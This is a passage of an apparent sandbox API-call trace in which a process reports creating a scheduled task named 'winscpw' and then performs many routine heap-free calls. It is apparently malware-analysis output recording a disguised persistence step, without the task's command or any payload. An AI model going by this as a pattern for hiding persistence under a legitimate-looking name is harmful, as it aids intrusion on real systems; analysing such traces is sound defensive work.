GetProcessHeap () returned 0x3f0000 [0079.193] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d6e0) returned 1 [0079.193] GetProcessHeap () returned 0x3f0000 [0079.193] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d6e0) returned 0xc [0079.193] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d6e0 | out: hHeap=0x3f0000) returned 1 [0079.193] GetProcessHeap () returned 0x3f0000 [0079.193] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x82) returned 0x429bd0 [0079.193] _vsnwprintf (in: _Buffer=0x27d370, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x27cbd8 | out: _Buffer="SUCCESS: The scheduled task \"winscpw\" has successfully been created.\n") returned 69 [0079.193] _fileno (_File=0x7feffe22ab0) returned -2 [0079.193] _errno () returned 0x114bb0 [0079.193] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0079.194] SetLastError (dwErrCode=0x6) [0079.194] lstrlenW (lpString="SUCCESS: The scheduled task \"winscpw\" has successfully been created.\n") returned 69 [0079.194] GetConsoleOutputCP () returned 0x0 [0079.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"winscpw\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0079.194] GetConsoleOutputCP () returned 0x0 [0079.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"winscpw\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"winscpw\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0079.194] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 69 [0079.194] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0079.194] IUnknown:Release (This=0x116850) returned 0x0 [0079.194] TaskScheduler:IUnknown:Release (This=0x117d50) returned 0x0 [0079.194] TaskScheduler:IUnknown:Release (This=0x117d00) returned 0x0 [0079.194] TaskScheduler:IUnknown:Release (This=0x28dee0) returned 0x1 [0079.194] lstrlenW (lpString="") returned 0 [0079.194] lstrlenW (lpString="5") returned 1 [0079.195] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0079.195] GetProcessHeap () returned 0x3f0000 [0079.195] GetProcessHeap () returned 0x3f0000 [0079.195] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c470) returned 1 [0079.195] GetProcessHeap () returned 0x3f0000 [0079.195] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c470) returned 0x1fc [0079.195] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c470 | out: hHeap=0x3f0000) returned 1 [0079.195] GetProcessHeap () returned 0x3f0000 [0079.195] GetProcessHeap () returned 0x3f0000 [0079.195] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405510) returned 1 [0079.195] GetProcessHeap () returned 0x3f0000 [0079.195] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405510) returned 0x4 [0079.195] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405510 | out: hHeap=0x3f0000) returned 1 [0079.195] GetProcessHeap () returned 0x3f0000 [0079.195] GetProcessHeap () returned 0x3f0000 [0079.195] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d640) returned 1 [0079.195] GetProcessHeap () returned 0x3f0000 [0079.195] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d640) returned 0x16 [0079.195] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d640 | out: hHeap=0x3f0000) returned 1 [0079.195] GetProcessHeap () returned 0x3f0000 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d620) returned 1 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d620) returned 0x18 [0079.196] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d620 | out: hHeap=0x3f0000) returned 1 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce90) returned 1 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ce90) returned 0x20 [0079.196] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce90 | out: hHeap=0x3f0000) returned 1 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c110) returned 1 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c110) returned 0xa0 [0079.196] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c110 | out: hHeap=0x3f0000) returned 1 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb90) returned 1 [0079.196] GetProcessHeap () returned 0x3f0000 [0079.196] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bb90) returned 0x18 [0079.196] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb90 | out: hHeap=0x3f0000) returned 1 [0079.197] GetProcessHeap () returned 0x3f0000 [0079.197] GetProcessHeap () returned 0x3f0000 [0079.197] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc50) returned 1 [0079.197] GetProcessHeap () returned 0x3f0000 [0079.197] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cc50) returned 0x20 [0079.197] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc50 | out: hHeap=0x3f0000) returned 1 [0079.197] GetProcessHeap () returned 0x3f0000 [0079.197] GetProcessHeap () returned 0x3f0000 [0079.197] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c370) returned 1 [0079.197] GetProcessHeap () returned 0x3f0000 [0079.197] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c370) returned 0x56 [0079.197] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c370 | out: hHeap=0x3f0000) returned 1 [0079.198] GetProcessHeap () returned 0x3f0000 [0079.198] GetProcessHeap () returned 0x3f0000 [0079.198] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d660) returned 1 [0079.198] GetProcessHeap () returned 0x3f0000 [0079.198] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d660) returned 0x18 [0079.198] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d660 | out: hHeap=0x3f0000) returned 1 [0079.198] GetProcessHeap () returned 0x3f0000 [0079.198] GetProcessHeap () returned 0x3f0000 [0079.198] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc20) returned 1 [0079.198] GetProcessHeap () returned 0x3f0000 [0079.198] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cc20) returned 0x20 [0079.198] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc20 | out: hHeap=0x3f0000) returned 1 [0079.198] GetProcessHeap () returned 0x3f0000 [0079.198] GetProcessHeap () returned 0x3f0000 [0079.198] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ddd0) returned 1 [0079.198] GetProcessHeap () returned 0x3f0000 [0079.198] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ddd0) returned 0x58 [0079.199] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ddd0 | out: hHeap=0x3f0000) returned 1 [0079.199] GetProcessHeap () returned 0x3f0000 [0079.199] GetProcessHeap () returned 0x3f0000 [0079.199] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d600) returned 1 [0079.199] GetProcessHeap () returned 0x3f0000 [0079.199] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d600) returned 0x18 [0079.199] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d600 | out: hHeap=0x3f0000) returned 1 [0079.199] GetProcessHeap () returned 0x3f0000 [0079.199] GetProcessHeap () returned 0x3f0000 [0079.199] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cbf0) returned 1 [0079.199] GetProcessHeap () returned 0x3f0000 [0079.199] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cbf0) returned 0x20 [0079.199] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cbf0 | out: hHeap=0x3f0000) returned 1 [0079.199] GetProcessHeap () returned 0x3f0000 [0079.199] GetProcessHeap () returned 0x3f0000 [0079.199] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c450) returned 1 [0079.199] GetProcessHeap () returned 0x3f0000 [0079.199] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c450) returned 0xe [0079.199] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c450 | out: hHeap=0x3f0000) returned 1 [0079.200] GetProcessHeap () returned 0x3f0000 [0079.200] GetProcessHeap () returned 0x3f0000 [0079.200] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c430) returned 1 [0079.200] GetProcessHeap () returned 0x3f0000 [0079.200] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c430) returned 0x18 [0079.200] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c430 | out: hHeap=0x3f0000) returned 1 [0079.200] GetProcessHeap () returned 0x3f0000 [0079.200] GetProcessHeap () returned 0x3f0000 [0079.200] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405e20) returned 1 [0079.200] GetProcessHeap () returned 0x3f0000 [0079.200] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405e20) returned 0x20 [0079.200] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405e20 | out: hHeap=0x3f0000) returned 1 [0079.200] GetProcessHeap () returned 0x3f0000 [0079.200] GetProcessHeap () returned 0x3f0000 [0079.200] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bd10) returned 1 [0079.200] GetProcessHeap () returned 0x3f0000 [0079.200] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bd10) returned 0x208 [0079.201] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bd10 | out: hHeap=0x3f0000) returned 1 [0079.201] GetProcessHeap () returned 0x3f0000 [0079.201] GetProcessHeap () returned 0x3f0000 [0079.201] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb70) returned 1 [0079.201] GetProcessHeap () returned 0x3f0000 [0079.201] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bb70) returned 0x18 [0079.201] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb70 | out: hHeap=0x3f0000) returned 1 [0079.201] GetProcessHeap () returned 0x3f0000 [0079.201] GetProcessHeap () returned 0x3f0000 [0079.201] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405d30) returned 1 [0079.201] GetProcessHeap () returned 0x3f0000 [0079.201] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405d30) returned 0x20 [0079.202] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405d30 | out: hHeap=0x3f0000) returned 1 [0079.202] GetProcessHeap () returned 0x3f0000 [0079.202] GetProcessHeap () returned 0x3f0000 [0079.202] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d3c0) returned 1 [0079.202] GetProcessHeap () returned 0x3f0000 [0079.202] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d3c0) returned 0x200 [0079.203] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d3c0 | out: hHeap=0x3f0000) returned 1 [0079.203] GetProcessHeap () returned 0x3f0000 [0079.203] GetProcessHeap () returned 0x3f0000 [0079.203] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bbb0) returned 1 [0079.203] GetProcessHeap () returned 0x3f0000 [0079.203] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bbb0) returned 0x18 [0079.203] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bbb0 | out: hHeap=0x3f0000) returned 1 [0079.203] GetProcessHeap () returned 0x3f0000 [0079.203] GetProcessHeap () returned 0x3f0000 [0079.203] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ca0) returned 1 [0079.203] GetProcessHeap () returned 0x3f0000 [0079.203] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405ca0) returned 0x20 [0079.204] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ca0 | out: hHeap=0x3f0000) returned 1 [0079.204] GetProcessHeap () returned 0x3f0000 [0079.204] GetProcessHeap () returned 0x3f0000 [0079.204] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c320) returned 1 [0079.204] GetProcessHeap () returned 0x3f0000 [0079.204] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c320) returned 0x14 [0079.204] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c320 | out: hHeap=0x3f0000) returned 1 [0079.204] GetProcessHeap () returned 0x3f0000 [0079.204] GetProcessHeap () returned 0x3f0000 [0079.204] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c300) returned 1 [0079.204] GetProcessHeap () returned 0x3f0000 [0079.204] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c300) returned 0x18 [0079.204] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c300 | out: hHeap=0x3f0000) returned 1 [0079.204] GetProcessHeap () returned 0x3f0000 [0079.204] GetProcessHeap () returned 0x3f0000 [0079.204] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405be0) returned 1 [0079.204] GetProcessHeap () returned 0x3f0000 [0079.204] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405be0) returned 0x20 [0079.205] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405be0 | out: hHeap=0x3f0000) returned 1 [0079.205] GetProcessHeap () returned 0x3f0000 [0079.205] GetProcessHeap () returned 0x3f0000 [0079.205] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c340) returned 1 [0079.205] GetProcessHeap () returned 0x3f0000 [0079.205] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c340) returned 0x16 [0079.205] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c340 | out: hHeap=0x3f0000) returned 1 [0079.205] GetProcessHeap () returned 0x3f0000 [0079.205] GetProcessHeap () returned 0x3f0000 [0079.205] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c1c0) returned 1 [0079.205] GetProcessHeap () returned 0x3f0000 [0079.205] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c1c0) returned 0x18 [0079.205] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c1c0 | out: hHeap=0x3f0000) returned 1 [0079.205] GetProcessHeap () returned 0x3f0000 [0079.205] GetProcessHeap () returned 0x3f0000 [0079.205] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405bb0) returned 1 [0079.205] GetProcessHeap () returned 0x3f0000 [0079.206] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405bb0) returned 0x20 [0079.206] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405bb0 | out: hHeap=0x3f0000) returned 1 [0079.206] GetProcessHeap () returned 0x3f0000 [0079.206] GetProcessHeap () returned 0x3f0000 [0079.206] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40baf0) returned 1 [0079.206] GetProcessHeap () returned 0x3f0000 [0079.206] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40baf0) returned 0x2 [0079.206] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40baf0 | out: hHeap=0x3f0000) returned 1 [0079.206] GetProcessHeap () returned 0x3f0000 [0079.206] GetProcessHeap () returned 0x3f0000 [0079.206] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a00) returned 1 [0079.206] GetProcessHeap () returned 0x3f0000 [0079.206] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405a00) returned 0x20 [0079.207] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a00 | out: hHeap=0x3f0000) returned 1 [0079.207] GetProcessHeap () returned 0x3f0000 [0079.207] GetProcessHeap () returned 0x3f0000 [0079.207] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a30) returned 1 [0079.207] GetProcessHeap () returned 0x3f0000 [0079.207] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405a30) returned 0x20 [0079.207] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a30 | out: hHeap=0x3f0000) returned 1 [0079.207] GetProcessHeap () returned 0x3f0000 [0079.207] GetProcessHeap () returned 0x3f0000 [0079.207] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a60) returned 1 [0079.207] GetProcessHeap () returned 0x3f0000 [0079.207] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405a60) returned 0x20 [0079.208] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a60 | out: hHeap=0x3f0000) returned 1 [0079.208] GetProcessHeap () returned 0x3f0000 [0079.208] GetProcessHeap () returned 0x3f0000 [0079.208] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a90) returned 1 [0079.208] GetProcessHeap () returned 0x3f0000 [0079.208] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405a90) returned 0x20 [0079.208] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a90 | out: hHeap=0x3f0000) returned 1 [0079.208] GetProcessHeap () returned 0x3f0000 [0079.209] GetProcessHeap () returned 0x3f0000 [0079.209] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc80) returned 1 [0079.209] GetProcessHeap () returned 0x3f0000 [0079.209] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cc80) returned 0x20 [0079.209] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc80 | out: hHeap=0x3f0000) returned 1 [0079.209] GetProcessHeap () returned 0x3f0000 [0079.209] GetProcessHeap () returned 0x3f0000 [0079.209] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d760) returned 1 [0079.209] GetProcessHeap () returned 0x3f0000 [0079.209] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d760) returned 0xe [0079.209] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d760 | out: hHeap=0x3f0000) returned 1 [0079.209] GetProcessHeap () returned 0x3f0000 [0079.209] GetProcessHeap () returned 0x3f0000 [0079.209] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ccb0) returned 1 [0079.209] GetProcessHeap () returned 0x3f0000 [0079.209] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ccb0) returned 0x20 [0079.210] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ccb0 | out: hHeap=0x3f0000) returned 1 [0079.210] GetProcessHeap () returned 0x3f0000 [0079.210] GetProcessHeap () returned 0x3f0000 [0079.210] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x407b90) returned 1 [0079.210] GetProcessHeap () returned 0x3f0000 [0079.210] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x407b90) returned 0x30 [0079.211] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x407b90 | out: hHeap=0x3f0000) returned 1 [0079.211] GetProcessHeap () returned 0x3f0000 [0079.211] GetProcessHeap () returned 0x3f0000 [0079.211] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cce0) returned 1 [0079.211] GetProcessHeap () returned 0x3f0000 [0079.211] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cce0) returned 0x20 [0079.212] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cce0 | out: hHeap=0x3f0000) returned 1 [0079.212] GetProcessHeap () returned 0x3f0000 [0079.212] GetProcessHeap () returned 0x3f0000 [0079.212] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x407bd0) returned 1 [0079.212] GetProcessHeap () returned 0x3f0000 [0079.212] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x407bd0) returned 0x30 [0079.212] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x407bd0 | out: hHeap=0x3f0000) returned 1 [0079.212] GetProcessHeap () returned 0x3f0000 [0079.213] GetProcessHeap () returned 0x3f0000 [0079.213] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce60) returned 1 [0079.213] GetProcessHeap () returned 0x3f0000 [0079.213] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ce60) returned 0x20 [0079.213] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce60 | out: hHeap=0x3f0000) returned 1 [0079.213] GetProcessHeap () returned 0x3f0000 [0079.213] GetProcessHeap () returned 0x3f0000 [0079.213] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d680) returned 1 [0079.213] GetProcessHeap () returned 0x3f0000 [0079.213] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d680) returned 0xe [0079.213] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d680 | out: hHeap=0x3f0000) returned 1 [0079.213] GetProcessHeap () returned 0x3f0000 [0079.213] GetProcessHeap () returned 0x3f0000 [0079.214] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce30) returned 1 [0079.214] GetProcessHeap () returned 0x3f0000 [0079.214] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ce30) returned 0x20 [0079.214] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce30 | out: hHeap=0x3f0000) returned 1 [0079.214] GetProcessHeap () returned 0x3f0000 [0079.214] GetProcessHeap () returned 0x3f0000 [0079.214] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d6a0) returned 1 [0079.214] GetProcessHeap () returned 0x3f0000 [0079.214] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d6a0) returned 0x16 [0079.214] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d6a0 | out: hHeap=0x3f0000) returned 1 [0079.214] GetProcessHeap () returned 0x3f0000 [0079.214] GetProcessHeap () returned 0x3f0000 [0079.214] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce00) returned 1 [0079.214] GetProcessHeap () returned 0x3f0000 [0079.214] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ce00) returned 0x20 [0079.215] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ce00 | out: hHeap=0x3f0000) returned 1 [0079.215] GetProcessHeap () returned 0x3f0000 [0079.215] GetProcessHeap () returned 0x3f0000 [0079.215] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d6c0) returned 1 [0079.215] GetProcessHeap () returned 0x3f0000 [0079.215] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d6c0) returned 0x16 [0079.215] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d6c0 | out: hHeap=0x3f0000) returned 1 [0079.215] GetProcessHeap () returned 0x3f0000 [0079.215] GetProcessHeap () returned 0x3f0000 [0079.215] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cdd0) returned 1 [0079.215] GetProcessHeap () returned 0x3f0000 [0079.215] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cdd0) returned 0x20 [0079.216] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cdd0 | out: hHeap=0x3f0000) returned 1 [0079.216] GetProcessHeap () returned 0x3f0000 [0079.216] GetProcessHeap () returned 0x3f0000 [0079.216] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x429bd0) returned 1 [0079.216] GetProcessHeap () returned 0x3f0000 [0079.216] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x429bd0) returned 0x82 [0079.216] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x429bd0 | out: hHeap=0x3f0000) returned 1 [0079.216] GetProcessHeap () returned 0x3f0000 [0079.216] GetProcessHeap () returned 0x3f0000 [0079.217] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cda0) returned 1 [0079.217] GetProcessHeap () returned 0x3f0000 [0079.217] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cda0) returned 0x20 [0079.217] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cda0 | out: hHeap=0x3f0000) returned 1 [0079.217] GetProcessHeap () returned 0x3f0000 [0079.217] GetProcessHeap () returned 0x3f0000 [0079.217] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d700) returned 1 [0079.217] GetProcessHeap () returned 0x3f0000 [0079.217] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d700) returned 0xe [0079.217] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d700 | out: hHeap=0x3f0000) returned 1 [0079.217] GetProcessHeap () returned 0x3f0000 [0079.217] GetProcessHeap () returned 0x3f0000 [0079.217] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd70) returned 1 [0079.217] GetProcessHeap () returned 0x3f0000 [0079.217] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd70) returned 0x20 [0079.218] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd70 | out: hHeap=0x3f0000) returned 1 [0079.218] GetProcessHeap () returned 0x3f0000 [0079.218] GetProcessHeap () returned 0x3f0000 [0079.218] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d720) returned 1 [0079.218] GetProcessHeap () returned 0x3f0000 [0079.218] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d720) returned 0xa [0079.218] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d720 | out: hHeap=0x3f0000) returned 1 [0079.218] GetProcessHeap () returned 0x3f0000 [0079.218] GetProcessHeap () returned 0x3f0000 [0079.218] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd40) returned 1 [0079.218] GetProcessHeap () returned 0x3f0000 [0079.218] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd40) returned 0x20 [0079.219] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd40 | out: hHeap=0x3f0000) returned 1 [0079.219] GetProcessHeap () returned 0x3f0000 [0079.219] GetProcessHeap () returned 0x3f0000 